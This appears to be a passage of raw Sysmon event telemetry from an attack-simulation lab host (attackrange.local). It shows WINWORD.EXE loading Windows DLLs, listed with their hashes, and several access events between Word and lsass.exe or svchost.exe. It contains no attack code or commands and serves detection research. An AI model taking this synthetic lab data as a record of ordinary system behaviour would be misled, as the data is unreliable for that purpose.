Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000049324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.684{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000049323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.684{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\npmproxy.dll10.0.14393.4169 (rs1_release.210107-1130)Network List Manager ProxyMicrosoft® Windows® Operating SystemMicrosoft Corporationnpfproxy.dllMD5=4D76C6FAF3D01B31A68C9ABF95F4B7D4,SHA256=9B771613C067880E99ED3D68E6C2A43C6B252E899D44682ADEB5A7F02E925920,IMPHASH=55727E718711848BBCDC7F433974B473trueMicrosoft WindowsValid 23542300x800000000000000049322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.684{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A9CF24C421C86E3831FED6E1814A9D26,SHA256=22902FD42B77A0A7EB18BBF1F3F31CCC0E4FAFB595812E3758CC8152F6BA0136,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000049321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.684{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\DWrite.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft DirectX Typography ServicesMicrosoft® Windows® Operating SystemMicrosoft CorporationDWriteMD5=1875083243EE498D0B2BB6B025AD7520,SHA256=A3FA592126642537BF6F0E4E9750A43A899525FE616DE899ABD7F26A9E7620C4,IMPHASH=4DF173E853B52F621D05CC337B9F72CEtrueMicrosoft WindowsValid 734700x800000000000000049320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.684{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\dpapi.dll10.0.14393.0 (rs1_release.160715-1616)Data Protection APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdpapi.dllMD5=927EA28A3F416A5A5E9FC638CA245EF5,SHA256=D399633CC99D754DD999BB4FFADD768FEA82F57A0241809117AD786DC33DD30E,IMPHASH=8F811B713271A0FEFA798FB95D523A8BtrueMicrosoft WindowsValid 734700x800000000000000049319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.684{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll4.8.4180.0 built by: NET48REL1LAST_BMicrosoft .NET Runtime Execution EngineMicrosoft® .NET FrameworkMicrosoft Corporationmscoreei.dllMD5=899A8B655E52A061B33571D97C5C06ED,SHA256=DE05B03E37FB9BA5D74CF8FA36A6F0B15AB61705285B738BC90D14FDE580A45E,IMPHASH=005299FA213F652A596AC31760C5340BtrueMicrosoft CorporationValid 734700x800000000000000049318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.684{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000049317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.669{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\msvcp110_win.dll10.0.14393.2007 (rs1_release.171231-1800)Microsoft® STL110 C++ Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp110_win.dllMD5=BFB390484F611C21582AD11E4C6ADEF2,SHA256=30B5AD268C022FCA2AACAE2CB6E4DC36F6A01C16A006046BB4417CEA96DA4F5A,IMPHASH=80A56C2FEE02149B4E326F9A62FF4B12trueMicrosoft WindowsValid 10341000x800000000000000049316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.669{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.669{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\dsreg.dll10.0.14393.4467 (rs1_release.210604-1844)AD/AAD User Device RegistrationMicrosoft® Windows® Operating SystemMicrosoft Corporationdsreg.dllMD5=79A9D7EA2FEAEF86876FFD1B6D1CB6C1,SHA256=A1BA47F25235AA03E37B420DA61B68E1F3165A590B15AAC43894613A88250018,IMPHASH=E8BB9C37B47F089EC5F0B7E4C7A2B72EtrueMicrosoft WindowsValid 734700x800000000000000049314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.669{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000049313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.669{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\mscoree.dll10.0.14393.0 (rs1_release.160715-1616)Microsoft .NET Runtime Execution EngineMicrosoft® Windows® Operating SystemMicrosoft Corporationmscoree.dllMD5=5ECE402D7E12EC3750D044BF3D878DF6,SHA256=3F02B1AE7B61BC36B04EA2B82ED79F112219F4E9668518030FF14B005E2C9BBC,IMPHASH=12E8F895FFFE1065F24D148EC1ED3096trueMicrosoft WindowsValid 734700x800000000000000049312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.669{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\netprofm.dll10.0.14393.4169 (rs1_release.210107-1130)Network List ManagerMicrosoft® Windows® Operating SystemMicrosoft Corporationnetprofm.dllMD5=02AD37C3C2D54BCD9E7BD2AFF3D6E7A6,SHA256=D71D631EC1790A9BD9451EFAEFC7EBADE6353A17CDBB4D8AAACD3102430A686E,IMPHASH=421DFA99869D231800F1E7ABEE7E4DA4trueMicrosoft WindowsValid 734700x800000000000000049311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.669{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\twinapi.appcore.dll10.0.14393.4169 (rs1_release.210107-1130)twinapi.appcoreMicrosoft® Windows® Operating SystemMicrosoft Corporationtwinapi.appcore.dllMD5=B877C5BDEA2215B3D3CF89F645EB535C,SHA256=2F5468CC4277C8CB4B2AD1095AFC739ECAE0F0B6EE78E57BF64A97F3BDA54C19,IMPHASH=52DACB9FFE8B422785C607A5B88982C7trueMicrosoft WindowsValid 734700x800000000000000049310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.669{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\WinTypes.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Base Types DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWinTypes.dllMD5=9F209F29ABFF007F55328BCC36367005,SHA256=7F2CBE9B349062DFD782032D50C335E6C292EC5F509746941982A7161F24ED84,IMPHASH=58F905117CF0434AF54A7CD9D43EEF30trueMicrosoft WindowsValid 734700x800000000000000049309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.669{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\Windows.Security.Authentication.Web.Core.dll10.0.14393.4169 (rs1_release.210107-1130)Token Broker WinRT APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Security.Authentication.Web.Core.dllMD5=E3AB65431FF6EA142FECF301220904D0,SHA256=60F168A317109BA364699F1FA1A2DDD8E5B0008A16CD7F1DB80583848DFCA7CF,IMPHASH=5D6DEAB27561AE10405A1329A2A1D871trueMicrosoft WindowsValid 734700x800000000000000049308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.669{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\normaliz.dll10.0.14393.0 (rs1_release.160715-1616)Unicode Normalization DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnormaliz.dllMD5=65930A2C537774A8CBB0A1BE20266D51,SHA256=2879DECC03521C385C5D29381B002E7B70BB448BC2787D9C08174592C7D80BC8,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.669{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\clbcatq.dll2001.12.10941.16384 (rs1_release.210107-1130)COM+ Configuration CatalogMicrosoft® Windows® Operating SystemMicrosoft CorporationCLBCATQ.DLLMD5=A82FB68F785E73141F5ABC91850595A8,SHA256=416DE0DA209CDCBE9B5D1A868CE972F8FE3399FF62E84EFD46D6FD49BDF7B7B2,IMPHASH=0BE8D1F061DD646F6D2B834CB7C9C900trueMicrosoft WindowsValid 10341000x800000000000000049306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.669{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.669{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.669{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000049303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.653{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000049302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.653{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\d3d10warp.dll10.0.14393.2608 (rs1_release.181024-1742)Direct3D 10 RasterizerMicrosoft® Windows® Operating SystemMicrosoft CorporationD3D10Warp.dllMD5=B69F0419A16A616FE2D779EC98CD7FB9,SHA256=2D10B43F2137433E48A009227487C691E312D186691485D33B4FDF90D8423C9D,IMPHASH=E32C7474360C94A9FE5E17141A4AB35FtrueMicrosoft WindowsValid 734700x800000000000000049301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.653{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\d3d11.dll10.0.14393.4467 (rs1_release.210604-1844)Direct3D 11 RuntimeMicrosoft® Windows® Operating SystemMicrosoft CorporationD3D11.dllMD5=F940A91B13592184F228ECC14D8D9358,SHA256=2BC05A4D09CDBAB8DB5F767DC95F31B2CA324928A94F004C7C2968E3E9E635E2,IMPHASH=460DAE5CA92CB705C37D78BE630D6120trueMicrosoft WindowsValid 734700x800000000000000049300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.653{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\d3d10_1core.dll10.0.14393.0 (rs1_release.160715-1616)Direct3D 10.1 RuntimeMicrosoft® Windows® Operating SystemMicrosoft CorporationD3D10_1Core.dllMD5=AD41EACFB2A670E17F2C09F8AB06F428,SHA256=208B4CF05936AC21EB0337FB17B1B8F12D778A6E880435C589202457EB0CF73E,IMPHASH=2F4B6F3B1235FFDDBA38CB41113AC1ABtrueMicrosoft WindowsValid 734700x800000000000000049299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.653{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\d3d10_1.dll10.0.14393.0 (rs1_release.160715-1616)Direct3D 10.1 RuntimeMicrosoft® Windows® Operating SystemMicrosoft CorporationD3D10_1.dllMD5=9945D52ACD8FED11F0A636F916C4FF16,SHA256=97C5A99ED38F8516133D6B95070C5998BAAE75EAEF730531D91B81FEE4B81D82,IMPHASH=33237B27FBA853C7DF13D3718D14534FtrueMicrosoft WindowsValid 734700x800000000000000049298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.637{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\dwmapi.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Desktop Window Manager APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdwmapi.dllMD5=74621C6ABE4E9A568DF0A38E7282D71E,SHA256=0788A092D47800D0EB120A7DBB9E59234D0722A4A2E80ECE6CE70E3A84A3750A,IMPHASH=ADB9F71ACD4F7D3CF761AB6C59A7F1E5trueMicrosoft WindowsValid 734700x800000000000000049297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.622{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\ResourcePolicyClient.dll10.0.14393.3808 (rs1_release.200707-2105)Resource Policy ClientMicrosoft® Windows® Operating SystemMicrosoft CorporationResourcePolicyClient.dllMD5=8FD5FEFE4E020BBC2D95F07BCDC84F71,SHA256=E5E351822CCDEBF81C47C4CA1D5C158E2880C1BD29CA024D163FD9316F3046AE,IMPHASH=E494F732179E765F2CE18BC21CDB1948trueMicrosoft WindowsValid 23542300x800000000000000049296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.622{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=687C724DD9EE4FFB99A55011A969ADA1,SHA256=A183E1D332D2EFFB7CE5DD0167A75512C4731CCA2CF38E2324390A2D6F051F41,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000049295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.622{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\dxgi.dll10.0.14393.2457 (rs1_release_inmarket.180822-1743)DirectX Graphics InfrastructureMicrosoft® Windows® Operating SystemMicrosoft Corporationdxgi.dllMD5=3C32D763740C83DB2C44DEA4B6F18C54,SHA256=ED26DBB9C3656767CA25887CDC3B45CF978AFC75E064FF5457A36C7A69E55223,IMPHASH=83736A76214A92F5C1B53248D0C22863trueMicrosoft WindowsValid 10341000x800000000000000049294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.622{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+163fd|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d6162|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.622{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+19ab3|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.622{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\winsta.dll10.0.14393.0 (rs1_release.160715-1616)Winstation LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationwinsta.dllMD5=12668CEFEE3754CFA61C5699821668B3,SHA256=D0C81619EDE8B846D98417989684EF16DF3A053CC049C7281E40F3359AD5B570,IMPHASH=2E790E44628AED89C2CC17E1E4A5CE1CtrueMicrosoft WindowsValid 734700x800000000000000049291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.606{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\msctf.dll10.0.14393.4530 (rs1_release.210705-0736)MSCTF Server DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationMSCTF.DLLMD5=E2374A214A9F0C8347C29EBDE3447986,SHA256=F2260FE7E0C4E92D49CF0F550E2A1B3D3F1D2D76E6F5C8F16B0E16B6117D9EE1,IMPHASH=EB898F83C3A5D6877A523BC64B41CB06trueMicrosoft WindowsValid 10341000x800000000000000049290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.606{7BD73061-65B2-613B-1600-00000000F001}12962072C:\Windows\system32\svchost.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.606{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.606{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\uxtheme.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft UxTheme LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationUxTheme.dllMD5=43AEE61AFABE70BFC876CC53D6A64E04,SHA256=8A4C893AEB075D3D9EFEC52E49CEF94471EB9F0A91BEB4C07DF38F8A48910C12,IMPHASH=67E6A4C8E164C0229E3FF1626F1894C6trueMicrosoft WindowsValid 734700x800000000000000049287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.606{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\d2d1.dll10.0.14393.2969 (rs1_release.190503-1820)Microsoft D2D LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationd2d1MD5=E15A420D82314AF63973D7D0AB3BA2DD,SHA256=C264B2FA1F3E67E558E2671807C06270926EF456F4FF83F1F9859B18184F187E,IMPHASH=5F8C6AF7D0781F35A516AEB072DAD045trueMicrosoft WindowsValid 734700x800000000000000049286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.606{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\msi.dll5.0.14393.4530Windows InstallerWindows Installer - UnicodeMicrosoft Corporationmsi.dllMD5=4479EEB5C5400D4C084274BA015750FA,SHA256=6B30AE7147132038E603EEB2D35C35BB3D03EC5AFA560D31969E2D39A44ACDCD,IMPHASH=702DDC1509DE604C8D612A66E9E39DACtrueMicrosoft WindowsValid 734700x800000000000000049285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.606{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\version.dll10.0.14393.0 (rs1_release.160715-1616)Version Checking and File Installation LibrariesMicrosoft® Windows® Operating SystemMicrosoft CorporationVERSION.DLLMD5=CFDB018AC09F879CAAE7A66CA7880D57,SHA256=6AB95FD0D142CFFC3B9455AF51F003E1CD75B7F4323820390B975F9E1C8A47A5,IMPHASH=9A7C66851249D4CED6C2C9096DCA243BtrueMicrosoft WindowsValid 734700x800000000000000049284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.591{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\MSO.DLL16.0.13801.20796Microsoft Office componentMicrosoft OfficeMicrosoft 